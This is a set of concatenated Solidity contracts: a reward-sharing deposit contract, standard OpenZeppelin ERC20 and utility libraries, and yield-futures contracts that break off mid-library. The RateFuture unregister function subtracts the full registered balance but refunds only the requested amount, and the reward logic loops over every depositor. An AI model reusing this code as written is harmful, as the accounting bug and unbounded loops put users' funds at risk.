return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0 && totalDeposit > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function deposit()
public
payable
{
uint256 _amount = msg.value;
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
if ( ! feeAddress.send(feeAmount)) {
feeAddress.transfer(feeAmount);
}
if ( ! vaultAddress.send(realAmount)) {
vaultAddress.transfer(realAmount);
}
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0 && totalDeposit > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
break;
}
}
}
return availableReward;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract Token is ERC20 {
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) ERC20 (name_, symbol_) {
_mint(msg.sender, totalSupply_ * 10**(decimals()));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
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|
pragma solidity 0.7.6;
import "contracts/protocol/futures/RateFuture.sol";
import "contracts/interfaces/platforms/yearn/IyToken.sol";
/**
* @title Contract for yToken Future
* @author Gaspard Peduzzi
* @notice Handles the future mechanisms for the Aave platform
* @dev Implement directly the stream future abstraction as it fits the aToken IBT
*/
contract yTokenFuture is RateFuture {
/**
* @notice Getter for the rate of the IBT
* @return the uint256 rate, IBT x rate must be equal to the quantity of underlying tokens
*/
function getIBTRate() public view override returns (uint256) {
return yToken(address(ibt)).getPricePerFullShare();
}
}
pragma solidity 0.7.6;
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "contracts/protocol/futures/Future.sol";
/**
* @title Main future abstraction contract for the rate futures
* @author Gaspard Peduzzi
* @notice Handles the rates future mecanisms
* @dev Basis of all mecanisms for futures (registrations, period switch)
*/
abstract contract RateFuture is Future {
using SafeMathUpgradeable for uint256;
uint256[] private IBTRates;
/**
* @notice Intializer
* @param _controller the address of the controller
* @param _ibt the address of the corresponding IBT
* @param _periodDuration the length of the period (in days)
* @param _platformName the name of the platform and tools
* @param _admin the address of the ACR admin
*/
function initialize(
address _controller,
address _ibt,
uint256 _periodDuration,
string memory _platformName,
address _deployerAddress,
address _admin
) public virtual override initializer {
super.initialize(_controller, _ibt, _periodDuration, _platformName, _deployerAddress, _admin);
IBTRates.push();
IBTRates.push();
}
/**
* @notice Sender registers an amount of IBT for the next period
* @param _user address to register to the future
* @param _amount amount of IBT to be registered
* @dev called by the controller only
*/
function register(address _user, uint256 _amount) public virtual override periodsActive nonReentrant {
super.register(_user, _amount);
}
/**
* @notice Sender unregisters an amount of IBT for the next period
* @param _user user addresss
* @param _amount amount of IBT to be unregistered
* @dev 0 unregisters all
*/
function unregister(address _user, uint256 _amount) public virtual override nonReentrant {
require(hasRole(CONTROLLER_ROLE, msg.sender), "Caller is not allowed to unregister");
uint256 nextIndex = getNextPeriodIndex();
require(registrations[_user].startIndex == nextIndex, "The is not ongoing registration for the next period");
uint256 currentRegistered = registrations[_user].scaledBalance;
uint256 toRefund;
if (_amount == 0) {
delete registrations[_user];
toRefund = currentRegistered;
} else {
require(currentRegistered >= _amount, "Invalid amount to unregister");
registrations[_user].scaledBalance = registrations[_user].scaledBalance.sub(currentRegistered);
toRefund = _amount;
}
ibt.transfer(_user, toRefund);
}
/**
* @notice Start a new period
* @dev needs corresponding permissions for sender
*/
function startNewPeriod() public virtual override nextPeriodAvailable periodsActive nonReentrant {
require(hasRole(CONTROLLER_ROLE, msg.sender), "Caller is not allowed to start the next period");
uint256 nextPeriodID = getNextPeriodIndex();
uint256 currentRate = getIBTRate();
IBTRates[nextPeriodID] = currentRate;
registrationsTotals[nextPeriodID] = ibt.balanceOf(address(this));
/* Yield */
uint256 yield =
(ibt.balanceOf(address(futureVault)).mul(currentRate.sub(IBTRates[nextPeriodID - 1]))).div(currentRate);
if (yield > 0) assert(ibt.transferFrom(address(futureVault), address(futureWallet), yield));
futureWallet.registerExpiredFuture(yield); // Yield deposit in the futureWallet contract
/* Period Switch*/
if (registrationsTotals[nextPeriodID] > 0) {
apwibt.mint(address(this), registrationsTotals[nextPeriodID].mul(IBTRates[nextPeriodID])); // Mint new apwIBTs
ibt.transfer(address(futureVault), registrationsTotals[nextPeriodID]); // Send IBT to future for the new period
}
registrationsTotals.push();
IBTRates.push();
/* Future Yield Token */
address fytAddress = deployFutureYieldToken(nextPeriodID);
emit NewPeriodStarted(nextPeriodID, fytAddress);
}
/**
* @notice Getter for user registered amount
* @param _user user to return the registered funds of
* @return the registered amount, 0 if no registrations
* @dev the registration can be older than the next period
*/
function getRegisteredAmount(address _user) public view override returns (uint256) {
uint256 periodID = registrations[_user].startIndex;
if (periodID == getNextPeriodIndex()) {
return registrations[_user].scaledBalance;
} else {
return 0;
}
}
function scaleIBTAmount(
uint256 _initialAmount,
uint256 _initialRate,
uint256 _newRate
) public pure returns (uint256) {
return (_initialAmount.mul(_initialRate)).div(_newRate);
}
/**
* @notice Getter for the amount of apwIBT that the user can claim
* @param _user user to check the check the claimable apwIBT of
* @return the amount of apwIBT claimable by the user
*/
function getClaimableAPWIBT(address _user) public view override returns (uint256) {
if (!hasClaimableAPWIBT(_user)) return 0;
return
scaleIBTAmount(
registrations[_user].scaledBalance,
IBTRates[registrations[_user].startIndex],
IBTRates[getNextPeriodIndex() - 1]
);
}
/**
* @notice Getter for user IBT amount that is unlockable
* @param _user user to unlock the IBT from
* @return the amount of IBT the user can unlock
*/
function getUnlockableFunds(address _user) public view override returns (uint256) {
return scaleIBTAmount(super.getUnlockableFunds(_user), IBTRates[getNextPeriodIndex() - 1], getIBTRate());
}
/**
* @notice Getter for yield that is generated by the user funds during the current period
* @param _user user to check the unrealised yield of
* @return the yield (amount of IBT) currently generated by the locked funds of the user
*/
function getUnrealisedYield(address _user) public view override returns (uint256) {
return
apwibt.balanceOf(_user).sub(
scaleIBTAmount(apwibt.balanceOf(_user), IBTRates[getNextPeriodIndex() - 1], getIBTRate())
);
}
/**
* @notice Getter for the rate of the IBT
* @return the uint256 rate, IBT x rate must be equal to the quantity of underlying tokens
*/
function getIBTRate() public view virtual returns (uint256);
}
pragma solidity 0.7.6;
import "contracts/interfaces/ERC20.sol";
interface yToken is ERC20 {
function getPricePerFullShare() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
